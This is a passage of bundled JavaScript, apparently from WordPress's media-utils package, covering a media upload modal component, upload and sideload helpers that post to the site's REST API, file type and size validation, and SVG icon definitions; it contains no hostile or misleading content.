1101 this.frame = new singleImageFrame({
1102 mimeType: allowedTypes,
1103 multiple,
1104 selection,
1105 ...frameConfig
1106 });
1107 wp.media.frame = this.frame;
1108 }
1109 componentWillUnmount() {
1110 this.frame?.remove();
1111 }
1112 onUpdate(selections) {
1113 const { onSelect, multiple = false } = this.props;
1114 const state = this.frame.state();
1115 const selectedImages = selections || state.get("selection");
1116 if (!selectedImages || !selectedImages.models.length) {
1117 return;
1118 }
1119 if (multiple) {
1120 onSelect(
1121 selectedImages.models.map(
1122 (model) => slimImageObject(model.toJSON())
1123 )
1124 );
1125 } else {
1126 onSelect(slimImageObject(selectedImages.models[0].toJSON()));
1127 }
1128 }
1129 onSelect() {
1130 const { onSelect, multiple = false } = this.props;
1131 const attachment = this.frame.state().get("selection").toJSON();
1132 onSelect(multiple ? attachment : attachment[0]);
1133 }
1134 onOpen() {
1135 const { wp } = window;
1136 const { value } = this.props;
1137 this.updateCollection();
1138 if (this.props.mode) {
1139 this.frame.content.mode(this.props.mode);
1140 }
1141 const hasMedia = Array.isArray(value) ? !!value?.length : !!value;
1142 if (!hasMedia) {
1143 return;
1144 }
1145 const isGallery = this.props.gallery;
1146 const selection = this.frame.state().get("selection");
1147 const valueArray = Array.isArray(value) ? value : [value];
1148 if (!isGallery) {
1149 valueArray.forEach((id) => {
1150 selection.add(wp.media.attachment(id));
1151 });
1152 }
1153 const attachments = getAttachmentsCollection(valueArray);
1154 attachments.more().done(function() {
1155 if (isGallery && attachments?.models?.length) {
1156 selection.add(attachments.models);
1157 }
1158 });
1159 }
1160 onClose() {
1161 const { onClose } = this.props;
1162 if (onClose) {
1163 onClose();
1164 }
1165 this.frame.detach();
1166 }
1167 updateCollection() {
1168 const frameContent = this.frame.content.get();
1169 if (frameContent && frameContent.collection) {
1170 const collection = frameContent.collection;
1171 collection.toArray().forEach((model) => model.trigger("destroy", model));
1172 collection.mirroring._hasMore = true;
1173 collection.more();
1174 }
1175 }
1176 openModal() {
1177 const {
1178 gallery = false,
1179 unstableFeaturedImageFlow = false,
1180 modalClass
1181 } = this.props;
1182 if (gallery) {
1183 this.buildAndSetGalleryFrame();
1184 } else {
1185 this.buildAndSetSingleMediaFrame();
1186 }
1187 if (modalClass) {
1188 this.frame.$el.addClass(modalClass);
1189 }
1190 if (unstableFeaturedImageFlow) {
1191 this.buildAndSetFeatureImageFrame();
1192 }
1193 this.initializeListeners();
1194 this.frame.open();
1195 }
1196 render() {
1197 return this.props.render({ open: this.openModal });
1198 }
1199 };
1200 var media_upload_default = MediaUpload;
1201
1202 // packages/media-utils/build-module/utils/upload-media.mjs
1203 var import_i18n5 = __toESM(require_i18n(), 1);
1204 var import_blob = __toESM(require_blob(), 1);
1205
1206 // packages/media-utils/build-module/utils/upload-to-server.mjs
1207 var import_api_fetch = __toESM(require_api_fetch(), 1);
1208
1209 // packages/media-utils/build-module/utils/flatten-form-data.mjs
1210 function isPlainObject(data) {
1211 return data !== null && typeof data === "object" && Object.getPrototypeOf(data) === Object.prototype;
1212 }
1213 function flattenFormData(formData, key, data) {
1214 if (isPlainObject(data)) {
1215 for (const [name, value] of Object.entries(data)) {
1216 flattenFormData(formData, `${key}[${name}]`, value);
1217 }
1218 } else if (data !== void 0) {
1219 formData.append(key, String(data));
1220 }
1221 }
1222
1223 // packages/media-utils/build-module/utils/transform-attachment.mjs
1224 function transformAttachment(attachment) {
1225 const { alt_text, source_url, ...savedMediaProps } = attachment;
1226 return {
1227 ...savedMediaProps,
1228 alt: attachment.alt_text,
1229 caption: attachment.caption?.raw ?? "",
1230 title: attachment.title.raw,
1231 url: attachment.source_url,
1232 poster: attachment._embedded?.["wp:featuredmedia"]?.[0]?.source_url || void 0
1233 };
1234 }
1235
1236 // packages/media-utils/build-module/utils/upload-to-server.mjs
1237 async function uploadToServer(file, additionalData = {}, signal) {
1238 const data = new FormData();
1239 data.append("file", file, file.name || file.type.replace("/", "."));
1240 for (const [key, value] of Object.entries(additionalData)) {
1241 flattenFormData(
1242 data,
1243 key,
1244 value
1245 );
1246 }
1247 return transformAttachment(
1248 await (0, import_api_fetch.default)({
1249 // This allows the video block to directly get a video's poster image.
1250 path: "/wp/v2/media?_embed=wp:featuredmedia",
1251 body: data,
1252 method: "POST",
1253 signal
1254 })
1255 );
1256 }
1257
1258 // packages/media-utils/build-module/utils/validate-mime-type.mjs
1259 var import_i18n2 = __toESM(require_i18n(), 1);
1260
1261 // packages/media-utils/build-module/utils/upload-error.mjs
1262 var UploadError = class extends Error {
1263 code;
1264 file;
1265 constructor({ code, message: message2, file, cause }) {
1266 super(message2, { cause });
1267 Object.setPrototypeOf(this, new.target.prototype);
1268 this.code = code;
1269 this.file = file;
1270 }
1271 };
1272
1273 // packages/media-utils/build-module/utils/validate-mime-type.mjs
1274 function validateMimeType(file, allowedTypes) {
1275 if (!allowedTypes) {
1276 return;
1277 }
1278 const isAllowedType = allowedTypes.some((allowedType) => {
1279 if (allowedType.includes("/")) {
1280 return allowedType === file.type;
1281 }
1282 return file.type.startsWith(`${allowedType}/`);
1283 });
1284 if (file.type && !isAllowedType) {
1285 throw new UploadError({
1286 code: "MIME_TYPE_NOT_SUPPORTED",
1287 message: (0, import_i18n2.sprintf)(
1288 // translators: %s: file name.
1289 (0, import_i18n2.__)("%s: Sorry, this file type is not supported here."),
1290 file.name
1291 ),
1292 file
1293 });
1294 }
1295 }
1296
1297 // packages/media-utils/build-module/utils/validate-mime-type-for-user.mjs
1298 var import_i18n3 = __toESM(require_i18n(), 1);
1299
1300 // packages/media-utils/build-module/utils/get-mime-types-array.mjs
1301 function getMimeTypesArray(wpMimeTypesObject) {
1302 if (!wpMimeTypesObject) {
1303 return null;
1304 }
1305 return Object.entries(wpMimeTypesObject).flatMap(
1306 ([extensionsString, mime]) => {
1307 const [type] = mime.split("/");
1308 const extensions = extensionsString.split("|");
1309 return [
1310 mime,
1311 ...extensions.map(
1312 (extension) => `${type}/${extension}`
1313 )
1314 ];
1315 }
1316 );
1317 }
1318
1319 // packages/media-utils/build-module/utils/validate-mime-type-for-user.mjs
1320 function validateMimeTypeForUser(file, wpAllowedMimeTypes) {
1321 const allowedMimeTypesForUser = getMimeTypesArray(wpAllowedMimeTypes);
1322 if (!allowedMimeTypesForUser) {
1323 return;
1324 }
1325 const isAllowedMimeTypeForUser = allowedMimeTypesForUser.includes(
1326 file.type
1327 );
1328 if (file.type && !isAllowedMimeTypeForUser) {
1329 throw new UploadError({
1330 code: "MIME_TYPE_NOT_ALLOWED_FOR_USER",
1331 message: (0, import_i18n3.sprintf)(
1332 // translators: %s: file name.
1333 (0, import_i18n3.__)(
1334 "%s: Sorry, you are not allowed to upload this file type."
1335 ),
1336 file.name
1337 ),
1338 file
1339 });
1340 }
1341 }
1342
1343 // packages/media-utils/build-module/utils/validate-file-size.mjs
1344 var import_i18n4 = __toESM(require_i18n(), 1);
1345 function validateFileSize(file, maxUploadFileSize) {
1346 if (file.size <= 0) {
1347 throw new UploadError({
1348 code: "EMPTY_FILE",
1349 message: (0, import_i18n4.sprintf)(
1350 // translators: %s: file name.
1351 (0, import_i18n4.__)("%s: This file is empty."),
1352 file.name
1353 ),
1354 file
1355 });
1356 }
1357 if (maxUploadFileSize && file.size > maxUploadFileSize) {
1358 throw new UploadError({
1359 code: "SIZE_ABOVE_LIMIT",
1360 message: (0, import_i18n4.sprintf)(
1361 // translators: %s: file name.
1362 (0, import_i18n4.__)(
1363 "%s: This file exceeds the maximum upload size for this site."
1364 ),
1365 file.name
1366 ),
1367 file
1368 });
1369 }
1370 }
1371
1372 // packages/media-utils/build-module/utils/upload-media.mjs
1373 function uploadMedia({
1374 wpAllowedMimeTypes,
1375 allowedTypes,
1376 additionalData = {},
1377 filesList,
1378 maxUploadFileSize,
1379 onError,
1380 onFileChange,
1381 signal,
1382 multiple = true
1383 }) {
1384 if (!multiple && filesList.length > 1) {
1385 onError?.(new Error((0, import_i18n5.__)("Only one file can be used here.")));
1386 return;
1387 }
1388 const validFiles = [];
1389 const filesSet = [];
1390 const setAndUpdateFiles = (index, value) => {
1391 if (!window.__clientSideMediaProcessing) {
1392 if (filesSet[index]?.url) {
1393 (0, import_blob.revokeBlobURL)(filesSet[index].url);
1394 }
1395 }
1396 filesSet[index] = value;
1397 onFileChange?.(
1398 filesSet.filter((attachment) => attachment !== null)
1399 );
1400 };
1401 for (const mediaFile of filesList) {
1402 try {
1403 validateMimeTypeForUser(mediaFile, wpAllowedMimeTypes);
1404 } catch (error) {
1405 onError?.(error);
1406 continue;
1407 }
1408 try {
1409 validateMimeType(mediaFile, allowedTypes);
1410 } catch (error) {
1411 onError?.(error);
1412 continue;
1413 }
1414 try {
1415 validateFileSize(mediaFile, maxUploadFileSize);
1416 } catch (error) {
1417 onError?.(error);
1418 continue;
1419 }
1420 validFiles.push(mediaFile);
1421 if (!window.__clientSideMediaProcessing) {
1422 filesSet.push({ url: (0, import_blob.createBlobURL)(mediaFile) });
1423 onFileChange?.(filesSet);
1424 }
1425 }
1426 validFiles.map(async (file, index) => {
1427 try {
1428 const attachment = await uploadToServer(
1429 file,
1430 additionalData,
1431 signal
1432 );
1433 setAndUpdateFiles(index, attachment);
1434 } catch (error) {
1435 setAndUpdateFiles(index, null);
1436 let message2;
1437 if (typeof error === "object" && error !== null && "message" in error) {
1438 message2 = typeof error.message === "string" ? error.message : String(error.message);
1439 } else {
1440 message2 = (0, import_i18n5.sprintf)(
1441 // translators: %s: file name
1442 (0, import_i18n5.__)("Error while uploading file %s to the media library."),
1443 file.name
1444 );
1445 }
1446 onError?.(
1447 new UploadError({
1448 code: "GENERAL",
1449 message: message2,
1450 file,
1451 cause: error instanceof Error ? error : void 0
1452 })
1453 );
1454 }
1455 });
1456 }
1457
1458 // packages/media-utils/build-module/utils/sideload-media.mjs
1459 var import_i18n6 = __toESM(require_i18n(), 1);
1460
1461 // packages/media-utils/build-module/utils/sideload-to-server.mjs
1462 var import_api_fetch2 = __toESM(require_api_fetch(), 1);
1463 async function sideloadToServer(file, attachmentId, additionalData = {}, signal) {
1464 const data = new FormData();
1465 data.append("file", file, file.name || file.type.replace("/", "."));
1466 for (const [key, value] of Object.entries(additionalData)) {
1467 flattenFormData(
1468 data,
1469 key,
1470 value
1471 );
1472 }
1473 return transformAttachment(
1474 await (0, import_api_fetch2.default)({
1475 path: `/wp/v2/media/${attachmentId}/sideload`,
1476 body: data,
1477 method: "POST",
1478 signal
1479 })
1480 );
1481 }
1482
1483 // packages/media-utils/build-module/utils/sideload-media.mjs
1484 var noop = () => {
1485 };
1486 async function sideloadMedia({
1487 file,
1488 attachmentId,
1489 additionalData = {},
1490 signal,
1491 onFileChange,
1492 onError = noop
1493 }) {
1494 try {
1495 const attachment = await sideloadToServer(
1496 file,
1497 attachmentId,
1498 additionalData,
1499 signal
1500 );
1501 onFileChange?.([attachment]);
1502 } catch (error) {
1503 let message2;
1504 if (error instanceof Error) {
1505 message2 = error.message;
1506 } else {
1507 message2 = (0, import_i18n6.sprintf)(
1508 // translators: %s: file name
1509 (0, import_i18n6.__)("Error while sideloading file %s to the server."),
1510 file.name
1511 );
1512 }
1513 onError(
1514 new UploadError({
1515 code: "GENERAL",
1516 message: message2,
1517 file,
1518 cause: error instanceof Error ? error : void 0
1519 })
1520 );
1521 }
1522 }
1523
1524 // packages/media-utils/build-module/components/media-upload-modal/index.mjs
1525 var import_element60 = __toESM(require_element(), 1);
1526 var import_i18n66 = __toESM(require_i18n(), 1);
1527 var import_core_data4 = __toESM(require_core_data(), 1);
1528 var import_data9 = __toESM(require_data(), 1);
1529 var import_components54 = __toESM(require_components(), 1);
1530
1531 // packages/icons/build-module/library/arrow-down.mjs
1532 var import_primitives = __toESM(require_primitives(), 1);
1533 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
1534 var arrow_down_default = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.Path, { d: "m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z" }) });
1535
1536 // packages/icons/build-module/library/arrow-left.mjs
1537 var import_primitives2 = __toESM(require_primitives(), 1);
1538 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
1539 var arrow_left_default = /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives2.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives2.Path, { d: "M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z" }) });
1540
1541 // packages/icons/build-module/library/arrow-right.mjs
1542 var import_primitives3 = __toESM(require_primitives(), 1);
1543 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
1544 var arrow_right_default = /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives3.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives3.Path, { d: "m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z" }) });
1545
1546 // packages/icons/build-module/library/arrow-up.mjs
1547 var import_primitives4 = __toESM(require_primitives(), 1);
1548 var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
1549 var arrow_up_default = /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives4.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives4.Path, { d: "M12 3.9 6.5 9.5l1 1 3.8-3.7V20h1.5V6.8l3.7 3.7 1-1z" }) });
1550
1551 // packages/icons/build-module/library/audio.mjs
1552 var import_primitives5 = __toESM(require_primitives(), 1);
1553 var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
1554 var audio_default = /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives5.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives5.Path, { d: "M17.7 4.3c-1.2 0-2.8 0-3.8 1-.6.6-.9 1.5-.9 2.6V14c-.6-.6-1.5-1-2.5-1C8.6 13 7 14.6 7 16.5S8.6 20 10.5 20c1.5 0 2.8-1 3.3-2.3.5-.8.7-1.8.7-2.5V7.9c0-.7.2-1.2.5-1.6.6-.6 1.8-.6 2.8-.6h.3V4.3h-.4z" }) });
1555
1556 // packages/icons/build-module/library/block-table.mjs
1557 var import_primitives6 = __toESM(require_primitives(), 1);
1558 var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
1559 var block_table_default = /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives6.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives6.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z" }) });
1560
1561 // packages/icons/build-module/library/category.mjs
1562 var import_primitives7 = __toESM(require_primitives(), 1);
1563 var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
1564 var category_default = /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives7.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives7.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z" }) });
1565
1566 // packages/icons/build-module/library/check.mjs
1567 var import_primitives8 = __toESM(require_primitives(), 1);
1568 var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1);
1569 var check_default = /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives8.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives8.Path, { d: "M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z" }) });
1570
1571 // packages/icons/build-module/library/close-small.mjs
1572 var import_primitives9 = __toESM(require_primitives(), 1);
1573 var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1);
1574 var close_small_default = /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives9.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives9.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) });
1575
1576 // packages/icons/build-module/library/cog.mjs
1577 var import_primitives10 = __toESM(require_primitives(), 1);
1578 var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1);
1579 var cog_default = /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_primitives10.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_primitives10.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z" }) });
1580
1581 // packages/icons/build-module/library/comment-author-avatar.mjs
1582 var import_primitives11 = __toESM(require_primitives(), 1);
1583 var import_jsx_runtime11 = __toESM(require_jsx_runtime(), 1);
1584 var comment_author_avatar_default = /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_primitives11.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_primitives11.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z" }) });
1585
1586 // packages/icons/build-module/library/envelope.mjs
1587 var import_primitives12 = __toESM(require_primitives(), 1);
1588 var import_jsx_runtime12 = __toESM(require_jsx_runtime(), 1);
1589 var envelope_default = /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_primitives12.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_primitives12.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M3 7c0-1.1.9-2 2-2h14a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V7Zm2-.5h14c.3 0 .5.2.5.5v1L12 13.5 4.5 7.9V7c0-.3.2-.5.5-.5Zm-.5 3.3V17c0 .3.2.5.5.5h14c.3 0 .5-.2.5-.5V9.8L12 15.4 4.5 9.8Z" }) });
1590
1591 // packages/icons/build-module/library/error.mjs
1592 var import_primitives13 = __toESM(require_primitives(), 1);
1593 var import_jsx_runtime13 = __toESM(require_jsx_runtime(), 1);
1594 var error_default = /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_primitives13.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_primitives13.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12.218 5.377a.25.25 0 0 0-.436 0l-7.29 12.96a.25.25 0 0 0 .218.373h14.58a.25.25 0 0 0 .218-.372l-7.29-12.96Zm-1.743-.735c.669-1.19 2.381-1.19 3.05 0l7.29 12.96a1.75 1.75 0 0 1-1.525 2.608H4.71a1.75 1.75 0 0 1-1.525-2.608l7.29-12.96ZM12.75 17.46h-1.5v-1.5h1.5v1.5Zm-1.5-3h1.5v-5h-1.5v5Z" }) });
1595
1596 // packages/icons/build-module/library/file.mjs
1597 var import_primitives14 = __toESM(require_primitives(), 1);
1598 var import_jsx_runtime14 = __toESM(require_jsx_runtime(), 1);
1599 var file_default = /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_primitives14.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_primitives14.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z" }) });
1600
1601 // packages/icons/build-module/library/format-list-bullets-rtl.mjs
1602 var import_primitives15 = __toESM(require_primitives(), 1);
1603 var import_jsx_runtime15 = __toESM(require_jsx_runtime(), 1);
1604 var format_list_bullets_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_primitives15.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_primitives15.Path, { d: "M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z" }) });
1605
1606 // packages/icons/build-module/library/format-list-bullets.mjs
1607 var import_primitives16 = __toESM(require_primitives(), 1);
1608 var import_jsx_runtime16 = __toESM(require_jsx_runtime(), 1);
1609 var format_list_bullets_default = /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(import_primitives16.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(import_primitives16.Path, { d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z" }) });
1610
1611 // packages/icons/build-module/library/funnel.mjs
1612 var import_primitives17 = __toESM(require_primitives(), 1);
1613 var import_jsx_runtime17 = __toESM(require_jsx_runtime(), 1);
1614 var funnel_default = /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_primitives17.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_primitives17.Path, { d: "M10 17.5H14V16H10V17.5ZM6 6V7.5H18V6H6ZM8 12.5H16V11H8V12.5Z" }) });
1615
1616 // packages/icons/build-module/library/image.mjs
1617 var import_primitives18 = __toESM(require_primitives(), 1);
1618 var import_jsx_runtime18 = __toESM(require_jsx_runtime(), 1);
1619 var image_default = /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(import_primitives18.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(import_primitives18.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z" }) });
1620
1621 // packages/icons/build-module/library/link.mjs
1622 var import_primitives19 = __toESM(require_primitives(), 1);
1623 var import_jsx_runtime19 = __toESM(require_jsx_runtime(), 1);
1624 var link_default = /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_primitives19.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_primitives19.Path, { d: "M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z" }) });
1625
1626 // packages/icons/build-module/library/mobile.mjs
1627 var import_primitives20 = __toESM(require_primitives(), 1);
1628 var import_jsx_runtime20 = __toESM(require_jsx_runtime(), 1);
1629 var mobile_default = /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(import_primitives20.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(import_primitives20.Path, { d: "M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z" }) });
1630
1631 // packages/icons/build-module/library/more-vertical.mjs
1632 var import_primitives21 = __toESM(require_primitives(), 1);
1633 var import_jsx_runtime21 = __toESM(require_jsx_runtime(), 1);
1634 var more_vertical_default = /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_primitives21.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_primitives21.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
1635
1636 // packages/icons/build-module/library/next.mjs
1637 var import_primitives22 = __toESM(require_primitives(), 1);
1638 var import_jsx_runtime22 = __toESM(require_jsx_runtime(), 1);
1639 var next_default = /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(import_primitives22.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(import_primitives22.Path, { d: "M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z" }) });
1640
1641 // packages/icons/build-module/library/previous.mjs
1642 var import_primitives23 = __toESM(require_primitives(), 1);
1643 var import_jsx_runtime23 = __toESM(require_jsx_runtime(), 1);
